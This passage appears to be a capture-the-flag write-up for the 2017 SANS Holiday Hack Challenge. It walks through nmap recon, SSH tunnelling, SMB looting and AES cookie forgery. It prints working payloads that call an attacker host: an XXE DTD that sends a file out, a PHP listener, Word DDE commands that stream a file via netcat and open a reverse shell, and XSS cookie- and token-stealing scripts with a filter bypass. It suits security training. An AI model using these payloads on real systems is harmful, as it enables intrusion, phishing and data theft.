22/tcp   open     ssh        OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp   open     http       nginx 1.10.3
389/tcp  filtered ldap
8080/tcp open     tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00034s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.054s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.142.0.9
Host is up.
All 1000 scanned ports on 10.142.0.9 are filtered

Nmap scan report for 10.142.0.10
Host is up.
All 1000 scanned ports on 10.142.0.10 are filtered

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00012s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp   open  http       nginx 1.10.3
1080/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.142.0.12
Host is up.
All 1000 scanned ports on 10.142.0.12 are filtered

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00037s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
3389/tcp open  ssl/ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 13 IP addresses (13 hosts up) scanned in 107.19 seconds

That did the trick! 10.142.0.7 is our next target. Unfortunately, smbclient isn't available to use from the restricted shell, but we can get around this with the help of a tip from Holly:


The article she links to spells out how to use SSH port forwarding, which is exactly what we need to leverage our limited access. Let's exit the L2S server and set up a port forward to the SMB server instead:

$ exit
exit
Connection to l2s.northpolechristmastown.com closed.
$ ssh -L 445:10.142.0.7:445 alabaster_snowball@l2s.northpolechristmastown.com

Great, now we can use smbclient to see what shares are available:

# smbclient -L localhost
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
session setup failed: NT_STATUS_ACCESS_DENIED
No luck as root. Knowing Alabaster, he probably used the same password here too:
# smbclient -L localhost -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	FileStor        Disk      
	IPC$            IPC       Remote IPC
Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

Hurrah! One share stands out among the others: FileStor. Let's see if we can connect to that one.

# smbclient -U alabaster_snowball \\\\localhost\\FileStor
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Mon Jan  8 09:31:53 2018
  ..                                  D        0  Mon Jan  8 09:31:53 2018
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

	13106687 blocks of size 4096. 9623768 blocks available
smb: \> 

Now we're on a roll. Time to smash 'n' grab:

smb: \> prompt
smb: \> mget *
getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (478.9 KiloBytes/sec) (average 483.3 KiloBytes/sec)
getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (1349.8 KiloBytes/sec) (average 645.1 KiloBytes/sec)
getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (328.7 KiloBytes/sec) (average 621.6 KiloBytes/sec)
getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (56.2 KiloBytes/sec) (average 603.4 KiloBytes/sec)
getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (296.1 KiloBytes/sec) (average 592.7 KiloBytes/sec)

smb: \> quit

And we're done here!

Answer to question 3: FileStor


Question 4

Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?

Pepper Minstix provides some hints for this challenge on the There's Snow Place Like Home Level.

It looks like the next target is going to be the mail server. Thanks to nmap, we know the IP address for that is 10.142.0.5. We also know it is running Dovecot for IMAP, Postfix for SMTP, and a web server. Let's have a look at that website first. We'll set up a port forward just like we did last time:

# ssh -L 8080:10.142.0.5:80 alabaster_snowball@l2s.northpolechristmastown.com

And we'll point our browser to the local port we just set up a tunnel for:

Oh, hrm. That's not quite what we were looking for. Maybe that Node.js server on port 3000 will be more interesting?

# ssh -L 3000:10.142.0.5:3000 alabaster_snowball@l2s.northpolechristmastown.com

That's more like it! Good ol' Alabaster, good thing he always uses the same password for everything....

No! Alabaster, why? Wait, it says "email" – maybe we just need to add a domain to that username.

Well, that's a useful hint. One more try:

Drat. It seems we got the right email address this time, but he must have used a different password for once. Let's see if Pepper can offer any insights here:


Ooh! Two hints in one – first is the mention of cookie recipes, which means the site probably uses cookies for authentication. We should be able to confirm that pretty easily with the developer tools in Firefox:



Yep. Second is the note about "keeping the dev files from search engine indexers." Time to have a look at robots.txt:


How sweet! Alabaster seems to have left us a little present.

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
    function cookie_maker(username, callback){
        var key = 'need to put any length key in here';
        //randomly generates a string of 5 characters
        var plaintext = rando_string(5)
        //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
        //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
        var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
        //Setting the values of the cookie.
        var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
        return callback(acookie);
    };
    function cookie_checker(req, callback){
        try{
            var key = 'need to put any length key in here';
            //Retrieving the cookie from the request headers and parsing it as JSON
            var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
            //Retrieving the cipher text
            var ciphertext = thecookie.ciphertext;
            //Retrievingin the username
            var username = thecookie.name
            //retrieving the plaintext
            var plaintext = aes256.decrypt(key, ciphertext);
            //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
            if (plaintext === thecookie.plaintext) {
                return callback(true, username);
            } else {
                return callback(false, '');
            }
        } catch (e) {
            console.log(e);
            return callback(false, '');
        }
    };

Excellent, now we know how the site cookies are generated, but we're missing the key. Fortunately, we may not need it – Pepper has an idea on the subject of AES encryption:


This sounds like it would definitely be worth trying. Let's see if we can figure out how to manipulate the cookie in order to log in as Alabaster without knowing the password. It appears to have three parts: name, plaintext, and ciphertext. We know that the login name needs to be Alabaster's email address. Based on the code above, it looks like the plaintext is just a random string – it only serves to validate the encryption used to produce the ciphertext.

Pepper explains how validation works: the first 16 characters of the ciphertext are used as input for the decryption algorithm (along with the key provided by the server), and the rest is decrypted. If the result matches the plaintext, authentication succeeds. But if the ciphertext is only 16 characters long, perhaps the algorithm will try to decrypt a null string, and we know what the result of that will be – null!

Now we have the name and the plaintext (which is simply ""), and we know the ciphertext needs to be 16 characters long. That can be as simple as "AAAAAAAAAAAAAAAA", but don't forget what the comments in our source code say: "makes the string into cipher text .... in base64". We had better encode that cipher before sticking it in the cookie. Online tools make this easy, and the result is "QUFBQUFBQUFBQUFBQUFBQQ==". We'll drop the equals signs because that's what the source code does, and plug everything into our cookie. Here's the final result:

{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"QUFBQUFBQUFBQUFBQUFBQQ"}

Let's drop that in the browser, refresh the page, and see what happens:

We did it! Let's see what Alabaster has in his inbox that might be of use:

Well ho ho ho, what do we have here? Could it be the trophy we were looking for? Let's grab that Great Book Page (along with any other emails that look important) and wrap up this target.

Answer to question 4: Munchkin Moles from the Lollipop Guild may have infiltrated the Elven Elite, but no one can be sure because they look identical.


Question 5

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

Minty Candycane offers some tips for this challenge in the North Pole and Beyond.

To answer this question, it looks like we're going to need to flex our data parsing muscle once again. In order to determine how many infractions make one naughty, we'll need to obtain a list of infractions. Fortunately, this information is publicly available on the NPPD site:

This seems like a convenient way to get the information we need, but how can we get all of it? The search suggestion gives us a useful tidbit – apparently we can search by date. Let's pull everything since 1/1/1990 just to be safe:

It looks like that query worked! But how do we get all the results out of there? Oh, look at what we have at the bottom of the page now:

Those elf engineers sure know how to make things convenient! Let's download it and take a look.

Perfect – it's JSON data, so this should be easy to parse with a little scripting. Let's see what information is contained within each "infraction" entry:

{"status": "pending", "severity": 5.0, "title": "Throwing rocks (at people)", "coals": [1, 1, 1, 1, 1], "date": "2017-06-25T09:55:04", "name": "Suzanne Hart"}

It looks like each item has a status tag (open/closed/pending), a severity (1-5), a title describing the infraction, a visual representation of the severity using coals, a date-time stamp showing when the infraction occurred, and the name of the guilty party. That's great information, but one thing is missing – a disposition of whether the person is considered naughty or nice.

Assuming Santa generally doesn't make that information public, perhaps we should consider where else it could be found. Minty probably has some useful information for us:


Indeed he does! It sounds like the list is kept on FileStor, which we already raided. Let's look at our spoils and see if there are any relevant files in there....


Bingo! There's also a conveniently-formatted CSV version that we can raid for data. Now we have all the inputs we need: a list of all the infractions and a list of dispositions. Both lists use full names as identifiers, so we use that field as our "foreign key" for matching up the data. Let's fire up a little Python and see what we do! Fortunately, python has a couple of libraries that make parsing csv and json a breeze:

#!/usr/bin/python
import csv
import json
from datetime import datetime

elves =  {}
# Import naughty/nice status from CSV file
with open('../smb/Naughty and Nice List.csv', 'rb') as csvfile:
	spamreader = csv.reader(csvfile, delimiter=',', quotechar='"')
	for row in spamreader:
		name = row[0]
		verdict = row[1]
		elves[name] = {'verdict':verdict,'count':0,'severity':0,'infractions':[]}
# Import infractions from JSON file
data = json.load(open('infractions.json'))
infractions = data.get("infractions")
# Parse infractions and sum severity by name of perpetrator
for infraction in infractions:
	name = infraction.get("name")
	date = datetime.strptime(infraction.get("date"),"%Y-%m-%dT%H:%M:%S")
	title = infraction.get("title")
	severity = infraction.get("severity")
	status = infraction.get("status")
	if name in elves.keys():
		elves[name]['count'] += 1
		elves[name]['severity'] += int(severity)
		elves[name]['infractions'].append({'infraction':title,'severity':int(severity)})
	else:
		elves[name] = {'verdict':'none','count':1,'severity':int(severity),'infractions':[{'infraction':title,'severity':int(severity)}]}
for name in elves:
	print name,elves[name]['count'],elves[name]['verdict']
That should give us a nice list of elves' names with the number of infractions recorded for each one and their naughty/nice status. Let's see:

$ python perps.py
Shane Armstrong 1 Nice
Edith Anderson 1 Nice
Alfred Yang 1 Nice
Tiffany Long 1 Nice
Sami Gutierrez 2 Nice
Michelle Leach 1 Nice
Marvin Sim 2 Nice
Bonnie Roberts 5 Naughty
Louie Stevens 1 Nice
Barb Sharma 5 Naughty
Jeffrey Oconnell 7 Naughty
Praveen Armstrong 1 Nice
Rachael Frazier 2 Nice
Aman Das 1 Nice
Samuel Reyes 1 Nice
Scott Islam 1 Nice
Sharon Greene 2 Nice
Bella Garg 1 Nice
Mel Matthews 1 Nice
Grace Cruz 2 Nice
....

Great! It's not sorted or anything, but a quick manual review of the list makes it pretty clear what the cutoff is for being considered naughty: almost everyone with 3 and below is nice, and almost everyone with 4 and above is naughty.

Wait, almost?! Hmm...something's not right here. Thanks to the Great Book pages, we know there is an insider threat. The question is, how might we detect insiders? If they have the ability to mess with the infractions database or with the Naughty and Nice List, then we might find some "elves" whose disposition doesn't match up with the number of infractions.

# Iterate through elves and look for mismatched naughty/nice status
print "Possible moles:"
for name in elves:
	if (elves[name]['verdict'] == 'Nice' and elves[name]['count'] >= 4) or (elves[name]['verdict'] == 'Naughty' and elves[name]['count'] <= 3):
		print name,elves[name]['count'],elves[name]['verdict']

$ python perps.py
Possible moles:
Stacy Mcmahon 4 Nice
Jay Saunders 3 Naughty
Damien Peter 4 Nice
Stephen Parks 3 Naughty
Boq Questrian 3 Naughty
Damian Bhardwaj 3 Naughty
Al Molina 4 Nice

There we go – seven potential moles. (These could also be victims whose accounts were tampered with by the munchkins, but let's not overthink this!)

The final question for this section can be answered by completing enough of the snowball game levels to unlock a conversation with Bumble and Sam, which I won't explain here.

Answers to question 5: Three infractions are required to be considered "naughty." Possible moles include Stacy McMahon, Jay Saunders, Damien Peter, Stephen Parks, Boq Questrian, Damian Bhardwaj, and Al Molina. The culprit is the Abominable Snow Monster, but it seems there may be a mystery figure pulling his strings.


Question 6

The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond.

Ok, next up is the EaaS server. Our nmap output tells us this server is at IP address 10.142.0.13 and has services running on two ports: 80, which is a Microsoft IIS web server, and 3389, which is typically used for Windows Remote Desktop (RDP). Let's have a look at that website, shall we?

$ ssh -L 8080:10.142.0.13:80 alabaster_snowball@l2s.northpolechristmastown.com



Ah yes, very nice. Snappy graphics, responsive design, pleasing snow animation...and what's this?


Perfect – just what we needed, a spec file! We'll download that and have a look:

<?xml version="1.0" encoding="UTF-8"?>
<Elf>
	<Elf>
		<ElfID>1</ElfID>
		<ElfName>Elf On a Shelf</ElfName>
		<Contact>8675309</Contact>
		<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
		<Picture>1.png</Picture>
		<Address>On a Shelf, Obviously</Address>
	</Elf>
	<Elf>
		<ElfID>2</ElfID>
		<ElfName>Buddy the Elf</ElfName>
		<Contact>8675309</Contact>
		<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
		<Picture>2.png</Picture>
		<Address>New York City</Address>
	</Elf>

	....

</Elf>


Excellent, this is very useful. But what do we do with these XML files once we've formatted them with our orders? Maybe the orders page has some information....


Cute, but not terribly useful...ah ha! There it is.


I think we just found our attack vector. But what can we do with XML? I bet Sugarplum knows.


Those elves are so dang helpful. The article she links to is Exploiting XXE Vulnerabilities in IIS/.NET, which teaches you how to use XML external entity injection to exploit vulnerable IIS servers. Sounds like a recipe for disaster! Let's see what we can cook up.

There are two components to this exploit: first, we need an XML definition file (DTD) with the commands we want to run on the web server. The DTD needs to be served up from a site we control, so we'll use my personal website again to host that. Second, we need an XML file with an entity element that references the DTD on our website. Once the DTD is in place, the XML can be uploaded using the submission form we found on the EaaS site. Not too terrible!

First, the DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % thedata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % incept "<!ENTITY &#x25; exfil SYSTEM 'http://www.mysite.com/foo.php?a=%thedata;'>">

Since we know the location of our flag, and we know it is a text file, the command we want the server to run is simple – load the contents of the text file and send a request to a listener on our website with the data in the URL where we can capture it. We'll stick this DTD file in the root of our website for easy access.

Second, the XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE exploit [
     <!ELEMENT exploit ANY >
     <!ENTITY % extentity SYSTEM "http://www.mysite.com/inject.dtd">
     %extentity;
     %incept;
     %exfil;
      ]
>

This uses the DOCTYPE declaration to execute the entities. The first entity pulls the definition file from our website, then the other two entities grab the data and send it back to our website. Finally, the code for the PHP listener we've posted at http://www.mysite.com/foo.php:

<?php
if (!empty($_GET['a']))
	file_put_contents('info.txt', $_GET['a']."\n", FILE_APPEND);
?>

Great, all we need to do is upload the XML file to the EaaS site now, and check info.txt to see what we got back!

http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf

Another server down. We've got the path to the next Great Book page, so all we have to do is point our browser to it and we're home free.

Answer to question 6: The Dreaded Inter-Dimensional Tornadoes


Question 7

Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

Shinny Upatree offers hints for this challenge inside the North Pole and Beyond.

Ooh, a SCADA system, eh? This should be fun. Here again, we have the location of the flag laid out for us at the start, and so is our attack vector in this case. Apparently we're not going to attack the EMI directly, but launch a phishing attack against the mail server. How exactly will that get us into the EMI system? Shinny knows:


That explains it. Now, did we see any messages in Alabaster's inbox that might offer clues regarding what kind of line to cast?





What a treasure trove! Let's see what we've learned here:
  • Alabaster wants other elves to send him cookie recipes.
  • If he receives a message with the words "gingerbread cookie recipe" in it, and it contains a docx attachment, he will download the file, open it, and click through any prompts.
  • Minty successfully tested a DDE exploit for MS Word on her computer, and she provided a link to an image with the source code.
  • Alabaster has nc.exe installed on his Windows computer (how convenient for us).

Let's look at that PoC image, shall we?


That looks pretty great, but what exactly do we do with it? A quick Google search turns up several how-to articles for this type of exploit. Here's a good tutorial from Null Byte. As it turns out, creating a Word document with a DDE payload is pretty simple – we can embed code with a few menu commands. The real trick is figuring out what code to execute on your target's computer.

In this case, we know the target is running Windows, we know he has Netcat installed, and we know the location of the file we want to steal. That narrows it down a bit! Let's give this code a try:

{ DDEAUTO c:\\windows\\system32\\cmd.exe '/c type C:\GreatBookPage7.pdf | nc.exe mysite.com 1337' }

This command, when executed by Microsoft Word, uses cmd.exe to run nc.exe and open a network connection to a listener on a server we control, then stream the binary content of the Great Book Page directly over that connection. Short and simple, but will it work? First we set up the listener on our server (AWS EC2 is a great, cheap way to set up a Linux server with a static IP address):

$ nc -nvlp 1337 >GreatBookPage7.pdf

This will make sure to take whatever data is sent across the wire and save it to a file. Once the listener is ready, we take our booby-trapped docx file and email it to Alabaster. Heck, he probably won't even notice if we use his own email account to send it to him! We'll set up a port forward and log in to EWA using the cookie hack from question 4.


Now we compose the email with the right keywords to get Alabaster to open the attachment, and make sure to attach the docx file. Then, send away and wait for him to take the bait! Within a minute or so, we get a bite...we see a connection open on our Netcat listener, but nothing else. Unfortunately, nc is not very sophisticated when it comes to file transfer capabilities – it will get the job done, but the only way to know when a transfer has finished is when the connection breaks off!

We wait patiently for the transfer to finish, and then try to open the file. Oh no – it's blank! Something must have gone wrong with the transfer (which often happens with a Netcat stream). We try again, but the same thing happens repeatedly. Back to the drawing board....

Since we know nc is working, maybe we should just go for a simple reverse shell and do some recon on the victim's server. We'll try this DDE code instead:

{ DDEAUTO c:\\windows\\system32\\cmd.exe '/c nc.exe -e cmd.exe mysite.com 1337' }

We set up the listener again, this time without recording its output to a file:

$ nc -nvlp 1337

We send another email with the new docx file and wait for the connection:

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9454-C240

 Directory of C:\

12/04/2017  08:42 PM         1,053,508 GreatBookPage7.pdf
11/14/2017  07:57 PM    <DIR>          inetpub
09/12/2016  11:35 AM    <DIR>          Logs
12/05/2017  05:00 PM    <DIR>          Microsoft
07/16/2016  01:23 PM    <DIR>          PerfLogs
11/15/2017  02:35 PM    <DIR>          Program Files
11/14/2017  08:24 PM    <DIR>          Program Files (x86)
11/15/2017  03:03 PM    <DIR>          python
11/14/2017  08:39 PM    <DIR>          Users
11/30/2017  06:23 PM    <DIR>          Windows
               1 File(s)      1,053,508 bytes
               9 Dir(s)  38,990,794,752 bytes free

Yes! We got a command shell, and there's our flag. If we try to print the contents of the binary to the screen, we'll just get a bunch of incoherent characters. But what if we encode it first? After all, if we can get the server to print the contents of the file out to the terminal in base64, in theory we should be able to decode it on the other end, right? Let's give it a shot.

C:\>mkdir temp
C:\>certutil -encode GreatBookPage7.pdf temp\gbp7.txt
C:\>type temp\gbp7.txt
JVBERi0xLjMKJcTl8uXrp/Og0MTGCjUgMCBvYmoKPDwgL0xlbmd0aCA2IDAgUiAv
RmlsdGVyIC9GbGF0ZURlY29kZSA+PgpzdHJlYW0KeAErVAhUKFQwAEIzQyMFc0sj
haJUhXCFPAV9t1xDBZd8hUAAh4YIAgplbmRzdHJlYW0KZW5kb2JqCjYgMCBvYmoK
NDAKZW5kb2JqCjMgMCBvYmoKPDwgL1R5cGUgL1BhZ2UgL1BhcmVudCA0IDAgUiAv
UmVzb3VyY2VzIDcgMCBSIC9Db250ZW50cyA1IDAgUiAvTWVkaWFCb3ggWzAgMCA2
MTIgNzkyXQovUm90YXRlIDAgPj4KZW5kb2JqCjcgMCBvYmoKPDwgL1Byb2NTZXQg
WyAvUERGIF0gL1hPYmplY3QgPDwgL0ZtMSA4IDAgUiA+PiA+PgplbmRvYmoKOCAw
IG9iago8PCAvTGVuZ3RoIDkgMCBSIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlIC9UeXBl
IC9YT2JqZWN0IC9TdWJ0eXBlIC9Gb3JtIC9Gb3JtVHlwZQoxIC9CQm94IFs1MCAx
MCA1NjAgNzgyXSAvUmVzb3VyY2VzIDEwIDAgUiAvR3JvdXAgPDwgL1MgL1RyYW5z
cGFyZW5jeSAvQ1MgMTEgMCBSCi9JIHRydWUgL0sgZmFsc2UgPj4gPj4Kc3RyZWFt
CngBK1QIVChUMABCM0MjBXNLI4WiVIVwhTwFfbdcIwWXfIVAAIeMCAMKZW5kc3Ry
ZWFtCmVuZG9iago5IDAgb2JqCjQwCmVuZG9iagoxMCAwIG9iago8PCAvUHJvY1Nl
dCBbIC9QREYgXSAvWE9iamVjdCA8PCAvRm0yIDEyIDAgUiA+PiA+PgplbmRvYmoK
MTIgMCBvYmoKPDwgL0xlbmd0aCAxMyAwIFIgL0ZpbHRlciAvRmxhdGVEZWNvZGUg
L1R5cGUgL1hPYmplY3QgL1N1YnR5cGUgL0Zvcm0gL0Zvcm1UeXBlCjEgL0JCb3gg
WzUwIDEwIDU2MCA3ODJdIC9SZXNvdXJjZXMgMTQgMCBSIC9Hcm91cCA8PCAvUyAv
VHJhbnNwYXJlbmN5IC9DUyAvRGV2aWNlQ01ZSwovSSB0cnVlIC9LIGZhbHNlID4+
ID4+CnN0cmVhbQp4AZ3TTQ6CMBQE4P07xdzAtrQW90bXrjyBcaUGuX8i0h9J7QBh
Qbr68pjXaYcLOjgFreCGz3uD9w1XPLE79xr3/nua8Tw9GhxfBMgImggStBFaDsOk
KZRhYoJuCToycT9C4dkY9GyixKUw2DKYtpmhhK2mjIfVMGZNUCuh9xHWmkeWUldn
yu/qqTRVOSlNlkVMPdOehb+1m3PW+7MmZyjQzOOgOWmD/opQ3kq7OWfo0Af6kPAg
CmVuZHN0cmVhbQplbmRvYmoKMTMgMCBvYmoKMTgxCmVuZG9iagoxNCAwIG9iago8
PCAvUHJvY1NldCBbIC9QREYgXSAvRXh0R1N0YXRlIDw8IC9HczMgNjYgMCBSIC9H
czQgNjcgMCBSIC9HczUgNjggMCBSIC9HczEKNjkgMCBSIC9HczIgNzAgMCBSID4+
IC9YT2JqZWN0IDw8IC9GbTEyIDQyIDAgUiAvRm0xMCAzNiAwIFIgL0ZtMTggNjAg
.....

Hooray! We got it – now to copy that (admittedly huge) blob of base64 code into a text file and decode it. We'll save it as "GreatBookPage7-base64.txt" on our Linux machine, then use a simple bash command for the decode:

$ cat GreatBookPage7-base64.txt | base64 --decode >GreatBookPage7.pdf

Did it work?


Yes! Another target down – only one more to go.

Answer to question 7: the Witches of Oz


Question 8

Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?

For hints on solving this challenge, please locate Wunorse Openslae in the North Pole and Beyond.

Ok, what does nmap tell us about this target? Looks like the IP address is 10.142.0.6 and it's got a few interesting services running:

22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp   open  http    nginx 1.10.3
389/tcp  open  ldap
8080/tcp open  http    Werkzeug httpd 0.12.2 (Python 2.7.13)

As usual, let's start by looking at the website:

$ ssh -L 8080:10.142.0.6:8080 alabaster_snowball@l2s.northpolechristmastown.com


Looking good! Let's try our friend Alabaster's password:


No dice. We can try some variations (alabaster.snowball, alabaster.snowball@northpolechristmastown.com), but none of them work. Time for some recon. The elves seem to be big fans of cookies, so let's see if this site uses them too:


We've got a session cookie, but that's all. It's not obviously authentication-related, so unless we see some indication that it's worth pursuing, we should probably look elsewhere. How about we check robots.txt like we did for question 4?

This looks promising....

Very nice! This looks like a template for the LDAP server – maybe it will give us some hints about the database structure. Let's check it out.
#LDAP LDIF TEMPLATE

dn: dc=com
dc: com
objectClass: dcObject

dn: dc=northpolechristmastown,dc=com
dc: northpolechristmastown
objectClass: dcObject
objectClass: organization

dn: ou=human,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: human

dn: ou=elf,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: elf

dn: ou=reindeer,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: reindeer

dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
cn: 
sn: 
gn: 
profilePath: /path/to/users/profile/image
uid: 
ou: 
department: 
mail: 
telephoneNumber: 
street:
postOfficeBox: 
postalCode: 
postalAddress: 
st: 
l: 
c: 
facsimileTelephoneNumber: 
description: 
userPassword:

Beautiful! Know we know how the LDAP database structures its distinguished names, which can be useful for sending requests for specific information. The DN for a specific elf would look something like this: cn=alabaster_snowball,ou=elf,dc=northpolechristmastown,dc=com

There are three distinct organizational units in the database: human, elf, and reindeer. We also learned which fields we can look up for each entry, and one stands out from the rest: userPassword!

Since we can't seem to log in through the front end, let's take a look at the backend.

$ ssh -L 8389:10.142.0.6:389 alabaster_snowball@l2s.northpolechristmastown.com
<new terminal>
$ ldapsearch -H ldap://127.0.0.1:8389 -xv
ldap_initialize( ldap://127.0.0.1:8389/??base )
^C
No luck – it seems that we can't query the LDAP server directly (it times out), so it must be filtered at the firewall. Time to get a hint from Wunorse.


Very useful! It looks like the password reset form is our attack vector, and the system is vulnerable to Javascript cross-site script attacks. But what exactly is our goal? How can we leverage this to get into the EDB server?



Perfect – what would we do without you, Wunorse? So the EDB system does authenticate with cookies, specifically JWT tokens, but apparently you don't get one until after you log in. Perhaps we can steal one from Wunorse using the password reset form!

Google, once again, can point us to some very useful tutorials on stealing cookies with Javascript. After brushing up on the technique, we can write this gem to accomplish our goal:

<script>image = new Image(); image.src='http://www.mysite.com?a='+document.cookie;</script>

Short and sweet! This script will make the page in which it is loaded create an image and attempt to load the image from our website – but when it requests the image, it will actually be transmitting any cookies the user has in their browser for the site they are viewing! All we need to do is make sure our PHP listener is ready to record the call, and we'll be in business.

Let's try using the password reset form to submit that code so that Wunorse will open it in his webmail and we can snatch his cookies. Below the login form there is a link to contact support; we click that and a new form appears to collect our username, email and message. Let's give this a try:


Well, that wasn't quite right, but that error message sure is helpful. Let's try again with "alabaster.snowball" as the username this time:


Uh oh, they're on to us! There must be some filtering in place to detect XSS in the message body. After testing out various combinations of messages here, it quickly becomes apparent that there is only one thing the filter is looking for: the word "script"! I'm sure we can come up with another way to carry out the attack without that word. How about this?

<img src="" onerror="window.location='http://www.mysite.com/foo.php?a='+document.cookie">

This one will cause the page to attempt to load an image with no source, but when there is an error it will execute javascript that will redirect the page to our website and request the cookie. Sneaky!

When we put that into the support form, it sends just fine, and we see a receipt page for just a second before it automatically redirects to our booby-trapped link. I guess we know it's going to work when the elf reads his email too! Let's check the output file from the listener on our website:

SESSION=RDkly4ZgmT9G753a2u6P
SESSION=hxxer50N2e1C2AFt5X06

Well, it worked – we got one cookie from our own browser and one from another browser, which must have been the elf. Unfortunately, our theory about the JWT token being stored as a cookie turned out to be incorrect. Where else could a token like that be stored?

Maybe it's time to check the source code of the login form. Here's something interesting down at the bottom:

    <script>
        if (!document.cookie) {
            window.location.href = '/';
        } else {
            token = localStorage.getItem("np-auth");
            if (token) {
                $.post( "/login", { auth_token: token }).done(function( result ) {
                    if (result.bool) {
                        window.location.href = result.link;
                    }
                })
            }
        }
    </script>

That's what we needed! It looks like when the page loads, it uses Javascript to look in the browser's local storage for an item named "np-auth." If it finds one, it tries to use it as an authentication token, then redirects the page if authentication is successful. Let's revise our code a bit and try the attack again:

<img src="" onerror="window.location='http://www.mysite.com/foo.php?a='+window.localStorage.getItem('np-auth')">

Now to check our listener output:

null
